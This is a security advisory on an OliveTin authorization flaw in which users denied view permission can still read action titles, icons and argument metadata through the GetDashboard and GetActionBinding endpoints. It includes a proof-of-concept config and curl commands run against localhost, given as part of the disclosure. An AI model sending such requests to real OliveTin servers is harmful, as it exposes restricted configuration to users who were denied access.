OliveTin doesn't check view permission when returning dashboards

Description

Summary

An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.

Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.

Details

OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.

Relevant source locations:

dashboards.go (around line 120, 132)
apiActions.go (around line 122)
acl.go (around line 125)
api.go (around line 430)

Dashboard building logic:

for _, binding := range rr.ex.MapActionBindings {
    if binding.Action.Hidden { continue }
    action := buildAction(binding, rr) // checks IsAllowedExec only
    fieldset.Contents = append(fieldset.Contents, ...)
}

Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).

PoC

  1. Configure OliveTin with a restricted user:

Create config.yaml:

authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: admin
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: admin123
      permissions:
        view: true
        exec: true
        logs: true

    - username: low
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: low123
      permissions:
        view: false   # Should hide all actions
        exec: false
        logs: false

actions:
  - title: "Secret Action"
    id: secret_action
    shell: echo "sensitive operation"
    icon: "🔒"
    description: "This action should be completely hidden"
    arguments:
      - name: target
        title: Target
        type: string
        default: production
  1. Start OliveTin with this configuration

  2. Login as low-privilege user and capture session ID:

# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"low123"}' \
  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')

echo "Low user SID: $LOW_SID"
  1. Verify the web UI respects view:false (optional but illustrative):

Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.

  1. Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'

Expected behavior (if fixed): Empty result or no matching action
Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [
      {
        "name": "target",
        "title": "Target",
        "type": "string",
        "default": "production"
      }
    ]
  }
}
  1. Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"bindingId":"secret_action"}' | jq '.'

Expected behavior (if fixed): HTTP 403 Permission Denied
Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [...]
  }
}

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-05 21:24:24 UTC
Updated
2026-03-06 22:52:34 UTC
GitHub reviewed
2026-03-05 21:24:24 UTC
NVD published
2026-03-06 21:16:17 UTC

EPSS Score

Score Percentile
0.02% 4.46%

CVSS Scores

Base score Version Severity Vector
6.5 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-862 Missing Authorization

Credits

  • Zwique (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/OliveTin/OliveTin < 0.0.0-20260305082002-d7962710e7c4 0.0.0-20260305082002-d7962710e7c4

References

cvelogic Threat Intelligence